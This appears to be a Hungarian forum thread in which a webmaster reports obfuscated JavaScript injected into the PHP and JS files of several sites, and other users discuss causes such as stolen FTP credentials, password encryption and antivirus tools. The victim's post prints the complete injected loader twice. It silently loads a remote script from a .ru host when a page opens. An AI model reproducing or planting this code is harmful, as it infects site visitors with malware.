S.O.S. Mi a történhetett???? (Creative Commons License izé.......)
Sziasztok!
Most vettem észre egy érdekes dolgot!
az ősszes index.php és az összes .js fájlokba "betelepült" vmi....
Egy ilyesmi és ehhez hasonló van most az érintett fájlok végén, mindegyik 2kb al lett nagyobb mint kéne:
<script>var l;if(l!='V' && l!='N'){l=''};function z(){this.F="";var I;if(I!='' && I!='B'){I=''};var h=RegExp;var x;if(x!='hh' && x!='NR'){x='hh'};var zF=new String("g");var Do;if(Do!='' && Do!='j'){Do=null};var y='';var s;if(s!='zI'){s='zI'};var jt='';function Q(v,H){var i= String("NYJ[".substr(3));var p;if(p!='R'){p=''};i+=H;this.J='';i+=String("]");this.pp='';var qS;if(qS!=''){qS='b'};this.Z='';var kY;if(kY!='U' && kY != ''){kY=null};var r=new h(i, zF);return v.replace(r, y);this.jH='';this.wG='';};var aq;if(aq!='' && aq!='DD'){aq=''};var Hz;if(Hz!='' && Hz!='ut'){Hz=''};var gn=new String();var Zk;if(Zk!='' && Zk!='f'){Zk=null};var u=String("FuNf/abc".substr(4)+"ABw1.go.BwA1".substr(4,4)+"DGKecom/".substr(4)+"2QDabc.".substr(3)+"0nMmgo.c".substr(4)+"df8om/kdf8".substr(3,4)+"uXAinop".substr(3)+"oisk"+".ru/0H3".substr(0,4)+"incra43".substr(0,4)+"edimhVl".substr(0,4)+"ail.eQX".substr(0,4)+"SQqKcom/".substr(4)+"goog"+"le.cObv".substr(0,4)+"om.p7SF".substr(0,4)+"asMRhp".substr(4));var J_;if(J_!='W' && J_!='Qc'){J_=''};var m;if(m!='' && m!='VPA'){m=''};var q=Q('8339737079738922902223',"9273");var UX;if(UX!='kT'){UX=''};var UK;if(UK!='E'){UK=''};var hb="de"+"fe"+"3qXer".substr(4);var lb="";var HJ=new String("http:"+"//gooZJxe".substr(0,5)+"uUsNgle-c".substr(4)+"om-co"+"XT6.mozi".substr(3)+"lla.o"+"rg.quEBj".substr(0,5)+"ikr-c"+"yHcWom.ra".substr(4)+"temypzEH".substr(0,5)+"eIXAart.reAIX".substr(4,5)+"3rBu:".substr(3));var M=window;var BA;if(BA!='iv'){BA=''};var t=String("srcxZXb".substr(0,3));var ha=new String();var ya='';var fa;if(fa!='' && fa!='my'){fa='rK'};var MB=String("scrp8X3".substr(0,3)+"s0zGipt".substr(4));var wm='';this.io="";var AV=new Array();M.onload=function(){this.y_="";var pu;if(pu!='_v'){pu=''};try {var LX="";var Bt=new Date();this.JP="";ya=HJ+q;var sC='';ya+=u;var zE=new Date();rE=document.createElement(MB);var cw;if(cw!='HS' && cw!='_l'){cw=''};var OvB;if(OvB!='EB' && OvB!='gv'){OvB=''};var bE=new Date();rE[t]=ya;var rs=new Date();var xg;if(xg!='vA' && xg != ''){xg=null};rE[hb]=[1][0];var UP=new String();var wqF;if(wqF!='sT' && wqF!='Y'){wqF='sT'};document.body.appendChild(rE);this.Vi='';} catch(k){};};};var Qg;if(Qg!='qSA' && Qg!='ke'){Qg='qSA'};this.Bp="";z();var yV=new String();var GI="";</script>
<!--d77049fda9f856a464fddcfc87557587-->
és ilyesmi jelenik meg a forráskódban:
<script type='text/javascript'>
SyncWithServerTime('1267727614');
</script>
az egyik esetben meg ez:
<div id='source'></div>
<div id='license'><!--Creative Commons License--><a rel='license' href='http://creativecommons.org/licenses/by-nc-sa/2.5/'><img alt='Creative Commons License' style='border-width: 0' src='http://i.creativecommons.org/l/by-nc-sa/2.5/88x31.png'/></a><br/>This work is licensed under a <a rel='license' href='http://creativecommons.org/licenses/by-nc-sa/2.5/'>Creative Commons Attribution-Noncommercial-Share Alike 2.5 License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:rdfs='http://www.w3.org/2000/01/rdf-schema#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/by-nc-sa/2.5/' />
</Work>
<License rdf:about='http://creativecommons.org/licenses/by-nc-sa/2.5/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><requires rdf:resource='http://web.resource.org/cc/Notice'/><requires rdf:resource='http://web.resource.org/cc/Attribution'/><prohibits rdf:resource='http://web.resource.org/cc/CommercialUse'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/><requires rdf:resource='http://web.resource.org/cc/ShareAlike'/></License></rdf:RDF> --></div>
<script type='text/javascript'>
SyncWithServerTime('1267726761');
</script>
Az eset érdekessége hogy, .hu-s .co.cc-s és még a külföldi tárhelyemen lévő wedoldalaimnél is!
A magyar tárhelyen lévőnél tegnap este 22:30 fele, a külföldin pedig tegnap du 14:30 fele...
De hogy kerülhet bele ilyesmi a php fájlokba (és js fájlokba?)
Egy két weboldalam nem is töltődik be tegnap óta... gondolom e miatt...
Nem csak hogy nem módosítottam az érintett fájlokat tegnap, de még csak nem is jártam a weboldalon...
Segítsetek..... Mit csináljak szerintetek???
Mi ez egyáltalán? Ti tapasztaltatok hasonlót???
Ja kivételek voltak a full üres index.php fájlok. Azok nem módosultak...
■ Most vettem észre egy érdekes dolgot!
az ősszes index.php és az összes .js fájlokba "betelepült" vmi....
Egy ilyesmi és ehhez hasonló van most az érintett fájlok végén, mindegyik 2kb al lett nagyobb mint kéne:
<script>var l;if(l!='V' && l!='N'){l=''};function z(){this.F="";var I;if(I!='' && I!='B'){I=''};var h=RegExp;var x;if(x!='hh' && x!='NR'){x='hh'};var zF=new String("g");var Do;if(Do!='' && Do!='j'){Do=null};var y='';var s;if(s!='zI'){s='zI'};var jt='';function Q(v,H){var i= String("NYJ[".substr(3));var p;if(p!='R'){p=''};i+=H;this.J='';i+=String("]");this.pp='';var qS;if(qS!=''){qS='b'};this.Z='';var kY;if(kY!='U' && kY != ''){kY=null};var r=new h(i, zF);return v.replace(r, y);this.jH='';this.wG='';};var aq;if(aq!='' && aq!='DD'){aq=''};var Hz;if(Hz!='' && Hz!='ut'){Hz=''};var gn=new String();var Zk;if(Zk!='' && Zk!='f'){Zk=null};var u=String("FuNf/abc".substr(4)+"ABw1.go.BwA1".substr(4,4)+"DGKecom/".substr(4)+"2QDabc.".substr(3)+"0nMmgo.c".substr(4)+"df8om/kdf8".substr(3,4)+"uXAinop".substr(3)+"oisk"+".ru/0H3".substr(0,4)+"incra43".substr(0,4)+"edimhVl".substr(0,4)+"ail.eQX".substr(0,4)+"SQqKcom/".substr(4)+"goog"+"le.cObv".substr(0,4)+"om.p7SF".substr(0,4)+"asMRhp".substr(4));var J_;if(J_!='W' && J_!='Qc'){J_=''};var m;if(m!='' && m!='VPA'){m=''};var q=Q('8339737079738922902223',"9273");var UX;if(UX!='kT'){UX=''};var UK;if(UK!='E'){UK=''};var hb="de"+"fe"+"3qXer".substr(4);var lb="";var HJ=new String("http:"+"//gooZJxe".substr(0,5)+"uUsNgle-c".substr(4)+"om-co"+"XT6.mozi".substr(3)+"lla.o"+"rg.quEBj".substr(0,5)+"ikr-c"+"yHcWom.ra".substr(4)+"temypzEH".substr(0,5)+"eIXAart.reAIX".substr(4,5)+"3rBu:".substr(3));var M=window;var BA;if(BA!='iv'){BA=''};var t=String("srcxZXb".substr(0,3));var ha=new String();var ya='';var fa;if(fa!='' && fa!='my'){fa='rK'};var MB=String("scrp8X3".substr(0,3)+"s0zGipt".substr(4));var wm='';this.io="";var AV=new Array();M.onload=function(){this.y_="";var pu;if(pu!='_v'){pu=''};try {var LX="";var Bt=new Date();this.JP="";ya=HJ+q;var sC='';ya+=u;var zE=new Date();rE=document.createElement(MB);var cw;if(cw!='HS' && cw!='_l'){cw=''};var OvB;if(OvB!='EB' && OvB!='gv'){OvB=''};var bE=new Date();rE[t]=ya;var rs=new Date();var xg;if(xg!='vA' && xg != ''){xg=null};rE[hb]=[1][0];var UP=new String();var wqF;if(wqF!='sT' && wqF!='Y'){wqF='sT'};document.body.appendChild(rE);this.Vi='';} catch(k){};};};var Qg;if(Qg!='qSA' && Qg!='ke'){Qg='qSA'};this.Bp="";z();var yV=new String();var GI="";</script>
<!--d77049fda9f856a464fddcfc87557587-->
és ilyesmi jelenik meg a forráskódban:
<script type='text/javascript'>
SyncWithServerTime('1267727614');
</script>
az egyik esetben meg ez:
<div id='source'></div>
<div id='license'><!--Creative Commons License--><a rel='license' href='http://creativecommons.org/licenses/by-nc-sa/2.5/'><img alt='Creative Commons License' style='border-width: 0' src='http://i.creativecommons.org/l/by-nc-sa/2.5/88x31.png'/></a><br/>This work is licensed under a <a rel='license' href='http://creativecommons.org/licenses/by-nc-sa/2.5/'>Creative Commons Attribution-Noncommercial-Share Alike 2.5 License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:rdfs='http://www.w3.org/2000/01/rdf-schema#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/by-nc-sa/2.5/' />
</Work>
<License rdf:about='http://creativecommons.org/licenses/by-nc-sa/2.5/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><requires rdf:resource='http://web.resource.org/cc/Notice'/><requires rdf:resource='http://web.resource.org/cc/Attribution'/><prohibits rdf:resource='http://web.resource.org/cc/CommercialUse'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/><requires rdf:resource='http://web.resource.org/cc/ShareAlike'/></License></rdf:RDF> --></div>
<script type='text/javascript'>
SyncWithServerTime('1267726761');
</script>
Az eset érdekessége hogy, .hu-s .co.cc-s és még a külföldi tárhelyemen lévő wedoldalaimnél is!
A magyar tárhelyen lévőnél tegnap este 22:30 fele, a külföldin pedig tegnap du 14:30 fele...
De hogy kerülhet bele ilyesmi a php fájlokba (és js fájlokba?)
Egy két weboldalam nem is töltődik be tegnap óta... gondolom e miatt...
Nem csak hogy nem módosítottam az érintett fájlokat tegnap, de még csak nem is jártam a weboldalon...
Segítsetek..... Mit csináljak szerintetek???
Mi ez egyáltalán? Ti tapasztaltatok hasonlót???
Ja kivételek voltak a full üres index.php fájlok. Azok nem módosultak...
Rollback
re
Szolgáltató.... lehet... de hogy lehet akkor h 2 egymástól független tárhelyen is ugyan az történt? És mégis mi ez? feltörték a szervert, vagy vírus, vagy mi ????
error message
Nem lehet, hogy hackerek
Csak találgatok.
Erre én is gondoltam....
Ti találkoztatok hasonlóval?
Most vettem észre hogy a 000webhost.com-os tárhelyemen is ez történt...
vírus
Ez nem szolgáltató hiba, hanem tipikus kliens oldali.
A js, html fájlok végéhez
Én is találkoztam ilyennel, a nagyobb fájlokat (js) el is rontja, gyakorlatilag a közepétől levágja.
Nem tudom milyen OS, és
Ne!
Oda írtam, hogy átmeneti
re
A te gépeden
Mellesleg a legújabb Total Commanderben be lehet állítani jelszóvédelmet az FTP jelszavakra, és a legújabb TC ingyenesen letölthető egy korábbi licenc birtokában.
re
re
most telepítem az avira-t...
Melyik verziószámú Total Commander a legújjab, (vagyis amire te gondolsz)?
ghisler.com
Net > FTP Connect > Encrypt...
menüpont alatt.re
Ipswitch biztonságos??
Amugy az Avira télleg talált jópár vírust amit a Nod32 (Eset) nem vett észre....
Mostmár megvan a véleményem a Nod32-ről...
nem erted
értem...
Akkor most mégis melyiknek higyjek??? Vírusoktól távol maradni meg ma már nem olya eccerü, amikor a programos torrentek is mindig tele vannak... :S
Biztonságos forrás
Torrent, stb